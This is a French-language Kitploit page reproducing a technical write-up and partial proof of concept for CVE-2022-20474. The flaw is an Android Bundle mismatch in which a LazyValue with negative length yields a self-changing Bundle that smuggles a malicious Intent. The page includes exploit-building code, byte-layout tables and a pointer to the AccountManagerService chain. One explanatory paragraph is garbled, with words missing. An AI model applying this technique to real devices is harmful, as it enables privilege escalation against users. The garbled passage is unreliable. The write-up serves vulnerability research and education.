Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2022-20474 — Analyse technique détaillée et preuve de concept pour CVE-2022-20474 sur Android, une vulnérabilité d'inadéquation de Bundle exploitant LazyValue avec une longueur négative pour obtenir un comportement de Bundle auto-modifiable. | Kitploit
Outils/GitHubGitHub/cxxsheng/cve-2022-20474
Sécurité AndroidAnalyse des VulnérabilitésExploitationArticles et RechercheApprentissage et ÉducationExploitation de Binaires
GitHubcxxsheng/cve-2022-20474

CVE-2022-20474

Analyse technique détaillée et preuve de concept pour CVE-2022-20474 sur Android, une vulnérabilité d'inadéquation de Bundle exploitant LazyValue avec une longueur négative pour obtenir un comportement de Bundle auto-modifiable.

Voir le dépôt
2011il y a 1 anVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Analyse de CVE-2022-20474 – Bundle auto-modifié sous LazyValue

Préface

Note : avant de lire cet article, il est conseillé d'avoir une compréhension de base des vulnérabilités de décalage de Bundle. Si vous n'avez pas encore lu les documents suivants, veuillez d'abord les consulter :

  1. Bundle Fengshui – Explication détaillée des vulnérabilités de non-correspondance entre sérialisation et désérialisation sous Android : tutoriel classique pour débutants.
  2. Histoire de l'attaque et de la défense des vulnérabilités de désérialisation Android : excellent article récapitulatif.
  3. TheLastBundleMismatch : premier article sur le décalage de Bundle en mode LazyValue.

Contexte

Récemment, j'étudie attentivement l'article LeakValue de michalbednarski. En discutant avec Canyie, il a mentionné que cet article évoquait également un cas de Bundle auto-modifié dans le scénario LazyValue. Je suis donc allé chercher le texte original, et effectivement il y avait ce passage, que j'avais directement omis lors de ma lecture de l'article de Michal. L'original dit :

(Also LazyValue with negative length specified can be used (without using other bugs described in this writeup) to create self-changing Bundle, the thing LazyValue was created to eliminate. But that is another story (and separately reported to Google), in this exploit I'm aiming for more)

Michal faisait probablement référence à CVE-2022-20474 (bulletin, patch). J'ai jeté un coup d'œil au patch, mais la fonction dans le lien du patch n'était pas très complète. Je l'ai complétée et examinée attentivement :

root@kitploit:~
@@ -4388,6 +4388,9 @@
    public Object readLazyValue(@Nullable ClassLoader loader) {
         int start = dataPosition();
         int type = readInt();
         if (isLengthPrefixed(type)) {
             int objectLength = readInt();
+            if (objectLength < 0) {
+                return null;
+            }
             int end = MathUtils.addOrThrow(dataPosition(), objectLength);
             int valueLength = end - start;
             setDataPosition(end);
             return new LazyValue(this, start, valueLength, type, loader);
         } else {
            return readValue(type, loader, /* clazz */ null);
         }
    }             

objectLength dans le code correspond à length du LazyValue. En fait, ce n'est que la longueur de l'objet variable contenu dans LazyValue, tandis que la longueur totale du LazyValue doit être contrôlée par le champ mLength, c'est-à-dire valueLength dans le code, qui est passé à mLength dans le constructeur de LazyValue.

Comparons avec la disposition de LazyValue :

root@kitploit:~
       /**
         *                      |   4B   |   4B   |
         * mSource = Parcel{... |  type  | length | object | ...}
         *                      a        b        c        d
         * length = d - c
         * mPosition = a
         * mLength = d - a
         */

Sur la base de ce qui précède, nous pouvons obtenir les faits suivants :

  1. mLength représente la longueur totale du LazyValue ; mLength = objectLength + 8 octets.
  2. objectLength doit être supérieur ou égal à 0.
  3. L'objet LazyValue ne stocke que mLength, pas objectLength, car la copie mémoire de LazyValue est basée sur l'objet entier.
  4. Le pointeur après lecture est avancé, il est possible que LazyValue soit à nouveau lu.

Ensuite, après mûre réflexion, nous sommes arrivés à la conclusion que ces faits ne sont d'aucune utilité ! Car, sur la base des faits ci-dessus, une seule modification peut être effectuée lors de la lecture. Or, nous savons que l'idée centrale d'un Bundle auto-modifié est de modifier après la lecture, afin de contourner les vérifications de sécurité.

Au moment où nous étions sur le point d'abandonner, nous avons soudainement remarqué quelques détails dans la description du patch :

Addresses a security vulnerability where a (-8) length object would cause dataPosition to be reset back to the start of the value, and be re-read again.

objectLength anormal

Il y est mentionné que lorsque objectLength vaut -8, des problèmes se posent, ce qui nous donne des indices supplémentaires. Dans ce cas, LazyValue peut-il encore être appliqué normalement ?

root@kitploit:~
        @Override
        public Object apply(@Nullable Class<?> clazz, @Nullable Class<?>[] itemTypes) {
            Parcel source = mSource;
            if (source != null) {
                synchronized (source) {
                    // Check mSource != null guarantees callers won't ever see different objects.
                    if (mSource != null) {
                        int restore = source.dataPosition();
                        try {
                            source.setDataPosition(mPosition);
                            mObject = source.readValue(mLoader, clazz, itemTypes);
                        } finally {
                            source.setDataPosition(restore);
                        }
                        mSource = null;
                    }
                }
            }
            return mObject;
        }

  	/**
     * @see #readValue(int, ClassLoader, Class, Class[])
     */
    @Nullable
    private <T> T readValue(@Nullable ClassLoader loader, @Nullable Class<T> clazz,
            @Nullable Class<?>... itemTypes) {
        int type = readInt();
        final T object;
        if (isLengthPrefixed(type)) {
            int length = readInt();
            int start = dataPosition();
            object = readValue(type, loader, clazz, itemTypes);
            int actual = dataPosition() - start;
            if (actual != length) {
                Slog.wtfStack(TAG,
                        "Unparcelling of " + object + " of type " + Parcel.valueTypeToString(type)
                                + "  consumed " + actual + " bytes, but " + length + " expected.");
            }
        } else {
            object = readValue(type, loader, clazz, itemTypes);
        }
        return object;
    }

On voit que le readValue réel commence à mPosition, puis lit LazyType et objectLength, avant d'entrer dans le flux normal de lecture de Value. Par exemple, un Parcelable doit lire ClassName, puis exécuter createFromParcel. Une fois la lecture terminée, il n'y a aucune différence avec un Key-Value normal, et cela n'affecte pas la sérialisation ultérieure. Reconsidérons : l'idée centrale d'un Bundle auto-modifié est de modifier après la lecture. Ici, ce n'est qu'une simple lecture hors limites, donc cette direction semble inefficace.

Alors, que se passe-t-il si LazyValue n'est pas appliqué pendant ce processus, c'est-à-dire s'il continue à participer à l'IPC en tant que LazyValue ? Dans ce cas, sa fonction writeToParcel est appelée :

root@kitploit:~
     public void writeToParcel(Parcel out) {
            Parcel source = mSource;
            if (source != null) {
                synchronized (source) {
                    if (mSource != null) {
                        out.appendFrom(source, mPosition, mLength);
                        return;
                    }
                }
            }
            out.writeValue(mObject);
        }

L'ensemble du LazyValue est directement copié, sauf si mLength = 0. Attendez ! Plus haut nous avons mentionné que mLength = objectLength + 8 octets. D'après les informations du patch, pour déclencher la vulnérabilité, objectLength doit être -8, donc mLength = 0 est vrai. Autrement dit, dans ce scénario, tout le LazyValue disparaît, seule la clé String est copiée, ce qui entraîne une écriture manquante, et la condition pour un Bundle auto-modifié est directement remplie.

Maintenant que nous connaissons la cause, nous pouvons commencer à reproduire. Cependant, avant cela, nous avons besoin de quelques détails supplémentaires.

Détail 1 : Les deux types de Bundle

root@kitploit:~
 static final int BUNDLE_MAGIC = 0x4C444E42; // 'B' 'N' 'D' 'L'
 private static final int BUNDLE_MAGIC_NATIVE = 0x4C444E44; // 'B' 'N' 'D' 'N'

Nous savons tous que la disposition mémoire de Bundle est approximativement la suivante :

root@kitploit:~
       /**
         *        |   4B   |   4B   |   4B   |
         * Bundle{| length |  MAGIC |  size  | Key  | Value | Key  | Value | ...}
         *
         */

MAGIC est le nombre magique de Bundle dans la disposition mémoire, il peut être BUNDLE_MAGIC ou BUNDLE_MAGIC_NATIVE. La différence la plus importante est que BUNDLE_MAGIC provoque un réordonnancement des Key-Value après la désérialisation, comme le montre le code suivant :

root@kitploit:~
 /**
     * Reads a map into {@code map}.
     *
     * @param sorted Whether the keys are sorted by their hashes, if so we use an optimized path.
     * @param lazy   Whether to populate the map with lazy {@link Function} objects for
     *               length-prefixed values. See {@link Parcel#readLazyValue(ClassLoader)} for more
     *               details.
     * @return a count of the lazy values in the map
     * @hide
     */
    int readArrayMap(ArrayMap<? super String, Object> map, int size, boolean sorted,
            boolean lazy, @Nullable ClassLoader loader) {
        int lazyValues = 0;
        while (size > 0) {
            String key = readString();
            Object value = (lazy) ? readLazyValue(loader) : readValue(loader);
            if (value instanceof LazyValue) {
                lazyValues++;
            }
            if (sorted) {
                map.append(key, value);
            } else {
                map.put(key, value);
            }
            size--;
        }
        if (sorted) {
            map.validate();
        }
        return lazyValues;
    }

Le drapeau MAGIC affecte finalement la valeur de sorted dans readArrayMap, ce qui entraîne le tri de la carte. Les commentaires indiquent également que la méthode de tri est basée sur la valeur de hachage de la clé String.

Détail 2 : Chevauchement lors de la désérialisation

root@kitploit:~
   /**
     *                 a
     * ArrayMap{| Key1 | LazyValue1 | FakeKey2 | Value2 | Key3  | Value3 |} 
     *
     */

Imaginons à nouveau le flux d'analyse de ArrayMap. Lors du premier tour d'analyse, Key1 est d'abord analysé, puis on tente d'analyser LazyValue1. Mais objectLength de LazyValue1 est -8, donc le pointeur de parcel revient au début de LazyValue1, c'est-à-dire au point a, ce qui correspond au point 4 mentionné plus haut. À ce stade, la première paire Key-Value a été analysée. La deuxième paire Key-Value commence à être analysée à partir du point a. On lit d'abord la longueur de String. Supposons que LazyValue1 contienne un Parcelable, alors cette longueur doit être 4. Par conséquent, le vrai Key2 commence au point , c'est-à-dire = + . ne contient aucune donnée, donc sa longueur est de 8 octets ( + ). La longueur totale de la est de 4 (indicateur de longueur) + 4 * 2 + 4 ("\0") = 16 octets. En supprimant les 8 octets de , nous devons ajouter 8 octets supplémentaires lors de la construction, soit 2 . Ensuite, on lit . Ainsi, lors de la première analyse, nous avons besoin d'une paire pour gérer le problème de pointeur avancé causé par un avec négatif. La valeur de n'a pas d'importance, car elle n'est utilisée que lors de la première analyse ; ce n'est qu'un outil temporaire. Puisqu'il s'agit d'un outil à usage unique, j'aimerais qu'après la première analyse, il soit éloigné de nos données critiques, et que contienne nos données malveillantes. Il est préférable que la valeur de hachage de soit supérieure à celle de , de sorte qu'elle n'affecte pas l'analyse suivante. Grâce au , nous pouvons ajuster la valeur de hachage de pour atteindre cet objectif, ce que nous aborderons en détail dans le . Ensuite, nous passons à l'analyse de . Comme d'habitude pour un , contient un avec un malveillant, mais a quelques restrictions supplémentaires. Après la première désérialisation, la disposition de devrait être la suivante, avec l'outil rejeté à la fin :

root@kitploit:~
Key1-Value1 | Key3-Value3 | Key2-Value2

Comme mentionné dans la section objectLength anormal, la longueur de LazyValue1 est de 0, donc lors de writeToParcel, il n'est pas du tout copié ! La disposition réelle est la suivante :

root@kitploit:~
Key1 | Key3-Value3 | Key2-Value2

Après avoir lu Key1, il reste encore à lire Value1, ce qui entraîne une nouvelle lecture hors limites. Key3 doit alors assumer le rôle de lecture de LazyValue1. Le premier int de Key3 doit servir à la fois de longueur de String et de type LazyValue. Cela signifie que la longueur de Key3 ne peut pas être trop courte, sinon le calcul du hachage est difficile. En regardant la liste des types LazyValue, j'ai choisi :

root@kitploit:~
private static final int VAL_LIST  = 11; // length-prefixed

Bien sûr, vous pouvez aussi choisir 12, 16, 17, etc., du moment que ce n'est pas trop court.

Le deuxième int de Key3 doit également servir de Length du LazyValue. Grâce à lui, nous pouvons contrôler la longueur de LazyValue1 et pointer le pointeur suivant vers le début de l'Intent malveillant. Vous dites que le contenu de LazyValue1 n'est pas valide ? Cela n'a pas d'importance, tant que vous n'appelez pas getXXX pour l'applique, il reste un LazyValue.

Détail 3 : Implémentation du générateur de force brute

Il suffit d'écrire un générateur de force brute :

root@kitploit:~
private static Pair<Integer, Integer> generateInt(){
        while (true) {
            Random random = new Random();
            int number1 = random.nextInt();
            int number2 = random.nextInt();
            Parcel parcel = Parcel.obtain();
            parcel.writeInt(11); //
            parcel.writeInt(32);
            parcel.writeInt(0);
            parcel.writeInt(0);
            parcel.writeInt(number1);
            parcel.writeInt(number2);
            parcel.writeInt(0);
            parcel.setDataPosition(0);
            String str = parcel.readString();
            if (str.hashCode() >= "Cxxsheng".hashCode() && str.hashCode() <  "Cxxsheng".hashCode() + 1000000)
            {
                parcel.recycle();
                return new Pair<>(number1, number2);
            }
            parcel.recycle();
        }

Bien sûr, nous pourrions aussi forcer la brute sur Key2 pour le placer devant, mais la longueur de Key2 est fixée à 4, ce qui est court et laisse moins de place à la manipulation. Key3, en revanche, a été conçu avec une certaine marge pour faciliter la force brute. Supposons que notre Key1 soit la chaîne "Cxxsheng". Nous voulons que la valeur de hachage de Key3 soit légèrement supérieure à celle de "Cxxsheng" ; j'ai défini un delta de 1 000 000, afin qu'ils aient une forte probabilité de rester ensemble, empêchant Key2 de s'intercaler. Comme mentionné plus haut, les deux premiers int de la String sont fixes. Nous écrivons donc d'abord VAL_LIST (qui est aussi la longueur de String). Nous calculons qu'il reste 32 octets avant l'Intent malveillant. Les quelques 0 restants peuvent être utilisés pour la force brute. Il suffit de choisir au hasard deux valeurs pour la force brute.

Reproduction

En utilisant number1 et number2, nous pouvons contrôler le tri de la troisième valeur dans ArrayMap. Comme ArrayMap trie selon le hashcode de la clé, cela permet à la troisième valeur de devenir la deuxième après la désérialisation, juste derrière la première clé "Cxxsheng", comme suit :

root@kitploit:~
Bundle[{Cxxsheng=Supplier{VAL_PARCELABLE@28+0},[chaîne corrompue]=[ByteArray malveillant], [chaîne corrompue]=0}]

On voit que l'ordre de lecture sera également différent de l'ordre d'écriture. Après l'écriture, comme analysé plus haut, tout le LazyValue est perdu, tandis que la troisième Key-Value est réordonnée en deuxième, incluant type et objectLength. Ainsi, la disposition de la page devient la suivante :

Exploitation

Les lecteurs peuvent utiliser la chaîne d'exploitation classique AccountManagerService. Quant à la possibilité d'exploitation, cet article ne s'étendra pas, car cela dépend de l'existence de la fonction checkKeyIntentParceledCorrectly dans le patch de novembre 2022. Pour information, cette fonction utilise un flux d'appel IPC simulé pour bloquer la chaîne d'exploitation AccountManagerService. Par conséquent, même en présence d'un Mismatch sur Android 12 ou 13, l'exploitation peut ne pas être possible ; il faut trouver un moyen de contourner cette fonction.

Nous pouvons reproduire cette fonction pour simuler le flux d'appel IPC comme suit :

root@kitploit:~
    private Bundle simulateIPCBundle(Bundle originBundle){
        Parcel p = Parcel.obtain();
        p.writeBundle(originBundle);
        p.setDataPosition(0);
        byte[] bs = p.marshall(); // ici on peut voir les données parcel en débogage
        // marshall ne change pas le pointeur de Parcel
        // p.setDataPosition(0); 
        Bundle simulateBundle = p.readBundle(getClass().getClassLoader());
        p.recycle();
        return simulateBundle;
    }

Ensuite, admirez le journal de sortie du flux d'appel IPC simulé ; pour plus de détails, référez-vous à mon code Github : description

Télécharger l’outil
a
Key2
LazyValue1
FakeKey2
LazyValue1
LazyType
objectLength
String
LazyValue1
writeInt
Value2
Key2-Value2
LazyValue1
objectLength
Key2-Value2
Key3-Value3
Key2
Key1
Détail 1
Key3
Détail 3
Key2-Value2
Bundle mismatch
Value3
ByteArray
Intent
Key3
ArrayMap
Key2-Value2
ValeurDescription
"Cxxsheng"Première clé
4Sera lue deux fois : la première fois représente VAL_PARCELABLE ; la deuxième fois devient la longueur de la String de la deuxième clé
-8Sera lue deux fois : la première fois représente objectLength de LazyValue, ce qui fait reculer le pointeur de lecture, provoquant deux lectures ; la deuxième fois devient la valeur de la String de la deuxième clé
0Valeur de la String de la deuxième clé
0Valeur de la String de la deuxième clé
1VAL_INTEGER
0Deuxième valeur
11Longueur de la String de la troisième clé
32Valeur de la String de la troisième clé
0Valeur de la String de la troisième clé
0Valeur de la String de la troisième clé
number1Valeur de la String de la troisième clé, ces deux valeurs servent à ajuster le tri
number2Valeur de la String de la troisième clé, ces deux valeurs servent à ajuster le tri
0Valeur de la String de la troisième clé
13VAL_BYTEARRAY
Longueur de LazyValueCalculée
Longueur de ByteArrayCalculée
ByteArrayContient la Key-Value malveillante, c'est-à-dire Intent.EXTRA_INTENT et son Intent
ValeurDescription
"Cxxsheng"Première clé
11VAL_LIST
32Longueur de la première valeur ; la validité du reste n'a plus d'importance (de toute façon ce LazyValue ne sera pas appliqué), pointe directement vers le début de l'Intent malveillant dans le ByteArray
0Valeur dans LazyValue
0Valeur dans LazyValue
number1Valeur dans LazyValue
number2Valeur dans LazyValue
0Valeur dans LazyValue
13Valeur dans LazyValue
Longueur de LazyValueValeur dans LazyValue
Longueur de ByteArrayValeur dans LazyValue
Début de ByteArray / Intent.EXTRA_INTENTDeuxième clé
IntentDeuxième valeur
Troisième Key-ValueReléguée à la fin